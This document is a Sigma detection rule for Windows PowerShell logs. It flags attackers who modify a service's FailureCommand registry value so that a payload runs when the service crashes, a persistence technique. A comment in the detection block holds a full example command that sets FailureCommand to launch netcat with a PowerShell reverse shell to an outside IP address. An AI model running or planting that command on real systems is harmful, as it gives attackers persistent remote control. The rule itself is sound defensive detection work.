Service abuse with backdoored "command failure" (Reg via PowerShell)

title: Service abuse with backdoored "command failure" (Reg via PowerShell)
description: Detects scenarios where an attacker modify the configuration of a service to trigger an action when the service is crashed.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1543.003-Create%20or%20Modify%20System%20Process-Windows%20Service
- https://twitter.com/JohnLaTwC/status/1432689635122159623?s=09
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742019(v=ws.11)
- https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/
tags:
- attack.persistence
- attack.t1543.003
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # Set-ItemProperty -path HKLM:\System\CurrentControlSet\services\xboxgip -name FailureCommand -value "C:\nc.exe -e powershell.exe 10.10.14.26 4447"
  selection_powershell_native:
    EventID: 800
    EventData|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - FailureCommand

  selection_powershell_modern:
    EventID: 4103
    Payload|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - FailureCommand

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - FailureCommand

  condition: 1 of selection*
falsepositives:
- administrator reconfiguring service
level: high